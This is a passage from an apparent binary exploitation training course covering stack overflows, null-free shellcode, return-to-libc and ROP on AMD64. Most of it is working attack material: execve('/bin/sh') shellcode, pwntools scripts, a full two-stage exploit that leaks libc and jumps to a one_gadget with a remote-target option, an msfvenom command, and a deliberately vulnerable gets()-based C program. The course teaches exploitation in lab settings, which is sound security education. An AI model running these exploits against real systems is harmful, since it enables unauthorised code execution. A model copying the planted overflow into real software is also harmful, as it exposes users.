(gdb) unset env COLUMNS
(gdb) show env # Should be minimal
# Or use this pwntools trick to match addresses
p = process('./vuln1', env={}) # Empty environment
Essential pwndbg Commands for Exploit Development (AMD64):
# Address finding
pwndbg> vmmap # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh" # Find string in memory
pwndbg> got # Show GOT entries
# Payload verification
pwndbg> hexdump $rsp 100 # View your payload on stack
pwndbg> telescope $rsp 20 # Smart stack display (shows dereferences)
# Execution tracing
pwndbg> nearpc # Show instructions around PC
pwndbg> context # Full context display
pwndbg> retaddr # Show return addresses on stack
# Exploit helpers
pwndbg> rop # Find ROP gadgets (slow)
pwndbg> checksec # Binary protections
Debugging Checklist (Use Before Asking for Help!):
- Offset verified? Use
cyclicpattern, confirm withcyclic -l(use full 8-byte value on AMD64!) - Addresses correct? Double-check with
print &functionin GDB - Architecture matches?
context.arch= 'amd64', usep64()notp32() - Endianness correct? x86/x64 = little endian =
p64() - No bad characters? Check for
\x00,\x0a,\x0din payload - Stack executable?
checksecshould show "NX disabled" - ASLR disabled for this run? Use
setarch -Ror GDB's default - Using same environment?
env -iorenv={}in pwntools - Shellcode tested standalone?
run_shellcode()in pwntools - Stack aligned? AMD64 requires 16-byte alignment before
call
Environment Hygiene (Critical for Exploit Development)
Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.
The Problem:
Normal execution: GDB execution: Different terminal:
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ env vars (big) │ │ env vars + GDB │ │ different env │
│ PWD=/long/path │ │ extra vars │ │ COLUMNS=120 │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ argv, argc │ │ argv, argc │ │ argv, argc │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ Stack │ │ Stack │ │ Stack │
│ buffer @ 0xABC │ │ buffer @ 0xA00 │ │ buffer @ 0xB00 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
↑ Different addresses due to env var size!
Solution: Force Consistent Environment:
# Method 1: Clear all environment variables
env -i ./exploit
# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit
# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={}) # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})
# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})
The "It Works on My Machine" Checklist
- Buffering Hell
- Local
process()typically uses PTY (unbuffered). - Remote
ncor sockets are often fully buffered or line-buffered. - Always use
p.recvuntil(b'prompt')before sending. Never rely onsleep()unless absolutely necessary.
- Local
- IO Handling
p.recv()is dangerous—it returns some data, not all data.p.clean()removes unread data (useful before sending payload).p.sendline()adds\n. Ensure target expects\nand not just raw bytes.
- Environment Variables
- Remote servers have different
envvars than your GDB session. - This shifts stack addresses by +/- 0x100 bytes.
- Never rely on exact stack addresses (hardcoded
0x7ffffff...). - Always use leaks (libc/stack) and relative offsets, or NOP sleds.
- Remote servers have different
GDB Environment Matching:
# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env # Verify minimal environment
(gdb) run
# Or start GDB with clean environment
env -i gdb -q ./vuln
pwntools Best Practice for Learning:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./vuln')
# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})
# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln') # Real-world: ASLR enabled
Verification:
# Compare stack addresses with different environments
env -i ./vuln # Note buffer address
./vuln # Different address!
env -i PWD=x ./vuln # Yet another address
# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack
[!WARNING] Always use
env -iorenv={}when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.
Practical Exercise
Exercise: Exploit vuln1 to get a shell
Steps:
-
Compile Target (AMD64):
make training-shellcode SOURCE=vuln1.c BINARY=vuln1 #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1 #checksec --file=./vuln1 -
Find Offset (AMD64 uses 8-byte patterns):
pwn cyclic 200 # copy output gdb ./vuln1 run # paste as input # Note the 4-byte crash value for RIP cyclic -n 4 -l <4_byte_crash_value> -
Find Stack Address (or jmp rsp gadget):
ROPgadget --binary ./vuln1 | grep "jmp rsp" -
Build Exploit (AMD64):
- NOP sled (50 bytes)
- AMD64 shellcode (use
asm(shellcraft.amd64.linux.sh())) - Padding to offset (72 bytes typical)
- Return address (8 bytes - use
p64())
-
Test Exploit:
python3 exploit1.py # Should get shell id whoami
Success Criteria:
- Successfully overflow return address
- Shellcode executes
- Shell obtained
- Can run commands (id, whoami, ls)
Week 4 Deliverable Exercise: From Minimized Crash to Exploit
Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.
Inputs from Week 4:
- A minimized crash input (file or stdin blob)
- An exact reproduction command (argv + input path)
- Your reproduction notes (OS/libc, environment variables, ASLR settings)
Task:
- Reproduce the crash reliably (>= 9/10) using the exact same input path and environment.
- Generate a core dump and confirm you control RIP.
- Replace your crashing bytes with a cyclic pattern and recover the exact offset.
- Build an exploit that spawns a shell (ret2shellcode for Day 1).
Success Criteria:
- Offset derived from the crash (not guessed)
- Exploit works multiple times in a row
Week 2 Integration Exercise: AFL++ Crash -> Minimize -> Exploit
Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.
Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.
Task:
- Build the target with AFL++ instrumentation.
- Run
afl-fuzzuntil you get a crash. - Minimize the crashing input with
afl-tmin. - Use the minimized crash to recover the offset and build a working exploit.
Success Criteria:
- A fuzzer-generated input crashes the program
afl-tminproduces a smaller reproducer that still crashes- You can transform the minimized input into a working exploit
Common Issues and Solutions
Issue 1: Segfault at wrong address
# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip
# Adjust return address in exploit
Issue 2: Shellcode not executing
# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"
# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)
Issue 3: Stack address wrong
# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled
Common Mistakes to Avoid
- Forgetting endianness: x86/x64 is little-endian.
0xdeadbeefbecomes\xef\xbe\xad\xde - Wrong architecture: AMD64 shellcode won't work in 32-bit process (and vice versa!)
- Using p32() on AMD64: Always use
p64()for 64-bit binaries - Bad characters: Null bytes (
\x00) terminate strings instrcpy. Other common bad chars:\x0a(newline),\x0d(carriage return),\x20(space) - Stack alignment: AMD64 requires 16-byte alignment before
callfor some libc functions (add extraretgadget if crashes in libc) - Environment differences: Stack addresses differ between GDB and normal execution (due to environment variables)
Exercise: Removing Null Bytes from Shellcode
Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.
Common Null Byte Sources:
| Instruction | Bytes | Problem | Solution |
|---|---|---|---|
mov rax, 0 | 48 c7 c0 00 00 00 00 | Immediate 0 | xor eax, eax → 31 c0 |
mov rdi, 0x68732f6e69622f | Contains nulls | String padding | Use push/mov sequences |
mov al, 59 | b0 3b | No nulls! | OK as-is |
syscall | 0f 05 | No nulls | OK as-is |
Task: Convert this null-containing shellcode to null-free:
; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
mov rax, 59 ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
mov rdi, binsh ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
mov rsi, 0 ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
mov rdx, 0 ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
syscall
section .data
binsh: db "/bin/sh", 0 ; Contains null terminator!
Solution: Null-Free Version:
; Null-free execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
; Clear registers without using immediate 0
xor eax, eax ; 31 c0 - clears RAX (zero-extends to 64-bit)
xor esi, esi ; 31 f6 - clears RSI
xor edx, edx ; 31 d2 - clears RDX
; Push "/bin/sh" onto stack (reverse order, no null in code)
; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
push rax ; Null terminator on stack
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (no embedded nulls)
push rdi
mov rdi, rsp ; RDI = pointer to "/bin//sh\0"
; Set syscall number without nulls
mov al, 59 ; b0 3b - only sets AL, RAX already 0
syscall ; 0f 05 - execute!
pwntools Verification:
# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Check for null bytes in shellcode
shellcode = asm('''
xor eax, eax
xor esi, esi
xor edx, edx
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
''')
# Verify no null bytes
if b'\x00' in shellcode:
print(f"[!] FAIL: Shellcode contains null bytes!")
print(f" Position: {shellcode.index(b'\\x00')}")
print(f" Bytes: {shellcode.hex()}")
else:
print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
print(f" {shellcode.hex()}")
# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()
Null-Byte Elimination Techniques:
| Original | Null-Free Replacement | Notes |
|---|---|---|
mov rax, 0 | xor eax, eax | Zero-extends to 64-bit |
mov rdi, 0 | xor edi, edi | Zero-extends to 64-bit |
mov rax, small_num | xor eax, eax; mov al, num | For values < 256 |
mov rax, imm64 | push imm32; pop rax | If value fits in 32-bit |
| String in .data | push string onto stack | Build string at runtime |
jmp label with null offset | Use short jumps or restructure | Relative offset issue |
Identifying Bad Characters:
#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
found = []
for i, byte in enumerate(shellcode):
if bytes([byte]) in bad_chars:
found.append((i, hex(byte)))
return found
shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
print(f"Bad characters at: {bad}")
else:
print("Shellcode is clean!")
[!TIP] Use pwntools
shellcraftwith encoders for complex shellcode:# Automatically generate null-free shellcode shellcode = asm(shellcraft.amd64.linux.sh()) # Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'
Debugging Tips:
# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)
# Run with same environment as GDB
env -i ./binary
# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core
# Trace syscalls/library calls
strace ./binary
ltrace ./binary
Key Takeaways
- Stack overflows overwrite return address: Control RIP (AMD64) / EIP (x86)
- Finding offset is critical: Use cyclic patterns (8-byte on AMD64!)
- NOP sleds improve reliability: Don't need exact address
- Stack must be executable:
-z execstackrequired for shellcode - Per-process ASLR disable: Use
setarch -Ror GDB, NOT system-wide - AMD64 uses 8-byte addresses: Always use
p64()notp32()
Discussion Questions
- Why does a NOP sled improve exploit reliability?
- What happens if ASLR is enabled but other protections are disabled?
- How would you modify your exploit if the vulnerable function used
read()instead ofgets()? - What are the limitations of this technique in real-world scenarios?
- Why is AMD64 stack alignment (16-byte) important for exploit reliability?
Day 2: Return-to-libc and Introduction to ROP
- Goal: Learn code-reuse exploitation when stack is not executable.
- Activities:
- Reading:
- "The Shellcoder's Handbook" 2nd edition - Chapter 2: "Stack Overflows"
- Return-to-libc Paper
- The Geometry of Innocent Flesh on the Bone - Original ROP paper (Shacham, 2007)
- Online Resources:
- ROP Emporium - Practice challenges (start with ret2win)
- ROPgadget Tutorial
- Tool Setup:
- Same VM as Day 1
- Enable NX bit (disable execstack)
- Exercise:
- Exploit with ret2libc technique
- Find gadgets manually before using ROPgadget
- Build and debug a ROP chain
- Reading:
Context: Router Exploitation (MIPS/ARM)
- Return-to-libc is a staple in embedded device exploitation (routers, IoT).
- Many of these devices run on MIPS or ARM architectures where stack execution is often disabled or cache coherency issues make shellcode unreliable.
- Attackers frequently use
system()orexecve()from libc to spawn a shell, just like we will do today.
Deliverables
- Binary:
vuln2built with NX enabled and verified withchecksec - Leak stage: Stage 1 leak works and returns to
main - Libc base:
libc.addresscorrectly computed from the leak - Final stage: Stage 2 gains code execution (shell)
- Notes: gadgets + alignment rationale, plus the parsed leak value
Non-Executable Stack (NX/DEP)
What is NX?:
- NX (No eXecute) bit marks stack as non-executable
- Also called DEP (Data Execution Prevention) on Windows
- Shellcode on stack cannot execute
- Need alternative exploitation strategy
Enable NX for Practice (AMD64):
# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled
# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)
Return-to-libc Technique
Concept:
- Instead of executing shellcode, call existing functions
libcprovides useful functions (system, execve, etc.)- Chain function calls to achieve goal
- No shellcode needed!
[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!
The Canonical Exploit Pattern: Leak → Compute → Exploit
[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.
The Real-World Pattern:
1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve
Why This Matters:
- Works even with ASLR enabled (after one leak)
- Portable across different libc versions (with correct libc file)
- This is how real exploits work—not "paste address from GDB"
Required Lab: Libc Leak via ROP (AMD64)
This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.
vuln2.c (Vulnerable program for leak practice):
#include <stdio.h>
#include <string.h>
// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
__asm__ volatile (
"pop %rdi; ret\n" // pop rdi; ret - for first argument
"pop %rsi; ret\n" // pop rsi; ret - for second argument
"pop %rdx; ret\n" // pop rdx; ret - for third argument
"ret\n" // ret - for stack alignment
);
}
void vulnerable() {
char buffer[64];
printf("Enter input: ");
fflush(stdout);
gets(buffer); // Vulnerable! Allows overflow and null bytes
printf("You entered: %s\n", buffer);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering for reliable I/O
puts("ROP Practice - ret2libc with leak");
vulnerable();
puts("Done!"); // Important: binary must import puts for our leak!
return 0;
}
Compile (AMD64, NX enabled):
cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled
Complete Leak-Based Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64
This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell
Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *
# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64
# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Almost always needed
ret = rop.find_gadget(['ret'])[0] # For stack alignment
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# ============ ADDRESSES ============
puts_plt = elf.plt['puts'] # PLT stub to call puts
puts_got = elf.got['puts'] # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
# ============ EXPLOIT ============
OFFSET = 72 # 64 buffer + 8 saved RBP
def exploit():
# Can run locally or switch to remote
if args.REMOTE:
p = remote('target', 1337)
else:
p = process(binary_path)
# ========== STAGE 1: LEAK LIBC ADDRESS ==========
log.info("Stage 1: Leaking libc address via puts(puts@got)")
# Wait for prompt
p.recvuntil(b'Enter input: ')
# AMD64 ROP: pop rdi loads argument, then call puts
# Stack alignment: add ret gadget if needed
stage1 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment (16-byte before call)
p64(pop_rdi), # pop rdi; ret
p64(puts_got), # RDI = puts@got (address to leak)
p64(puts_plt), # Call puts(puts@got) - prints libc address!
p64(main_addr), # Return to main for stage 2
)
p.sendline(stage1)
# Parse the leak
# Our ROP chain: puts(puts@got) → main, so output is:
# "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
# Skip until after our payload echo, then read leaked address line
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n') # Skip to end of "You entered" line
# Read leaked bytes - puts adds a newline, so read until that newline
leaked_bytes = p.recvline().strip() # Remove trailing newline from puts
# Handle the leak (puts stops at null bytes, pad if needed)
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")
# ========== COMPUTE LIBC BASE ==========
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Calculated libc base: {hex(libc.address)}")
# Verify libc base looks reasonable (should end in 000 due to page alignment)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ========== STAGE 2: ONE_GADGET APPROACH ==========
# Modern libc lacks clean pop rdx gadgets, so we use one_gadget
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Constraints vary - try each until one works
log.info("Stage 2: Using one_gadget")
# One_gadget offsets - UPDATE THESE for your libc version!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadgets = [
0xef4ce, # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
0xef52b, # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
0x583ec, # posix_spawn constraints
0x583f3, # posix_spawn constraints
]
# Try the second one_gadget (0xef52b) - needs rax=NULL
# If first doesn't work, try index 1, 2, 3...
one_gadget = libc.address + one_gadgets[1]
log.info(f"one_gadget @ {hex(one_gadget)}")
# Wait for prompt (program returned to main, runs vulnerable() again)
p.recvuntil(b'Enter input: ')
# For one_gadget, we need valid RBP (rbp-0x50 must be writable)
# Our overflow corrupted RBP to 0x4141...
# Fix: set RBP to a writable address (like stack) before one_gadget
libc_rop = ROP(libc)
# Find gadgets
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
# Use a writable address for RBP - use a known writable section
# .bss section in the binary is always writable
writable_addr = elf.bss() + 0x200 # Some offset into .bss
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP to point to writable memory (CRITICAL for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # rbp = writable addr + margin
# Set rax = 0 (for one_gadget constraints)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
# Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
if pop_rbx:
stage2 += p64(pop_rbx[0])
stage2 += p64(0) # rbx = NULL
if pop_r12:
stage2 += p64(pop_r12[0])
stage2 += p64(0) # r12 = NULL
log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
stage2 += p64(one_gadget) # Jump to one_gadget
p.sendline(stage2)
# Got shell!
log.success("Shell incoming!")
p.interactive()
if __name__ == '__main__':
exploit()
Key Points:
- Never use
p.libs()in final exploits - it only works locally for debugging - Always leak, then compute - this works with ASLR enabled
- Stack alignment - AMD64 requires 16-byte alignment before
call; addretgadget - Return to main - allows second stage after leak
- Fix RBP for one_gadget - buffer overflows corrupt RBP; one_gadgets need
rbp-0xXXwritable - Modern libc has CET - SHSTK/IBT enabled;
system()may fail, use one_gadget instead
AMD64 Stack Alignment
[!CAUTION] AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in
movapsinstruction), you have a stack alignment problem. The stack must be 16-byte aligned before anycallinstruction.
The Problem:
- System V AMD64 ABI requires:
- Stack must be 16-byte aligned BEFORE the 'call' instruction
- 'call' pushes 8-byte return address → stack becomes misaligned
- Function prologue (push rbp) realigns it
- When ROP chains skip prologues, alignment breaks!
The Fix - Always Include ret Gadget:
# WRONG - may crash in libc due to misalignment
payload = flat(
b'A' * offset,
p64(pop_rdi),
p64(binsh),
p64(system), # Crashes with movaps SIGSEGV!
)
# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
b'A' * offset,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh),
p64(system), # Works on older libc!
)
[!WARNING] Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment,
system()may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check withchecksec: ifSHSTK: EnabledandIBT: Enabled, use one_gadget instead.
When Alignment Isn't Enough (CET):
# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled
# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
payload = flat(
b'A' * offset,
p64(ret), # Stack alignment
p64(pop_rbp[0]),
p64(elf.bss() + 0x280), # Fix RBP for one_gadget constraints
p64(one_gadget), # Bypasses CET!
)
Debugging Alignment Issues:
# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!
pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
# payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
# (gdb) x/i $rip
# => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
# (gdb) p/x $rsp
# Result ends in 0x8? That's the bug.
# 5. Fix it:
# payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
# (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================
# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead
Automated Address Finding (Local Debugging Only)
[!WARNING]
p.libs()only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.
#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *
elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})
# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base
log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")
# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")
# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3] # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")
# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")
# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']
Finding one_gadget Offsets:
# Install one_gadget (Ruby gem)
gem install one_gadget
# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x50 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!
Identifying Your Libc Version:
# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6
# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"
# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()
Introduction to ROP
What is ROP?:
- Technique to chain existing code "gadgets"
- Gadget = short instruction sequence ending in
ret - Chain gadgets to build arbitrary operations
- Bypasses NX/DEP without shellcode
AMD64 ROP Basics:
Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers.
This means you need gadgets like pop rdi; ret to load arguments!
Essential AMD64 Gadgets:
| Gadget | Purpose | Usage |
|---|---|---|
pop rdi; ret | Load 1st argument | Almost always needed! |
pop rsi; ret | Load 2nd argument | For two-arg functions |
pop rdx; ret | Load 3rd argument | Rare in modern libc! Use one_gadget |
pop rbp; ret | Fix RBP for one_gadget | Critical for one_gadget! |
pop rax; ret | Set RAX (syscall #) | For one_gadget constraints |
ret | Stack alignment / pivot | Fix 16-byte alignment |
[!NOTE] Modern libc (glibc 2.34+) lacks clean
pop rdx; retgadgets and has CET enabled. Traditionalsystem("/bin/sh")ROP often fails. Use one_gadget instead!
Simple AMD64 ROP Example (Traditional - may fail on modern libc):
Goal: Call system("/bin/sh") - works on older libc without CET
AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret │ → gadget address
├─────────────────┤
│ &"/bin/sh" │ → value popped into RDI
├─────────────────┤
│ &system │ → called with RDI = "/bin/sh"
└─────────────────┘
Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):
Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET
Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack
├─────────────────┤
│ pop rbp; ret │ → from libc
├─────────────────┤
│ .bss + 0x280 │ → writable address for RBP
├─────────────────┤
│ pop rax; ret │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0 │ → RAX = NULL
├─────────────────┤
│ one_gadget │ → libc.address + offset → shell!
└─────────────────┘
Finding ROP Gadgets
Master manual gadget hunting before relying on tools—it builds intuition for what's possible.
Manual Gadget Finding (Do This First!)
# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag
# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt
# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt
# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
# 401234: 5f pop rdi
# 401235: c3 ret
# This is a "pop rdi; ret" gadget at 0x401234
# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"
# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"
Common AMD64 Gadget Byte Patterns:
| Gadget Type | Byte Sequence | Instruction |
|---|---|---|
pop rdi; ret | 5f c3 | Load RDI (arg 1) |
pop rsi; ret | 5e c3 | Load RSI (arg 2) |
pop rdx; ret | 5a c3 | Load RDX (arg 3) - rare! |
pop rcx; ret | 59 c3 | Load RCX (arg 4) |
pop rax; ret | 58 c3 | Load RAX (for one_gadget) |
pop rbp; ret | 5d c3 | Fix RBP for one_gadget! |
ret | c3 | Stack alignment |
syscall | 0f 05 | Syscall (AMD64) |
pop rsi; pop r15; ret | 5e 41 5f c3 | Common in __libc_csu_init |
[!WARNING]
pop rdx; retis rare in modern libc! You'll often findpop rdx; pop rbx; retor similar multi-pop variants. This breaks simpleexecve(path, NULL, NULL)chains. Use one_gadget instead of manually building execve calls.
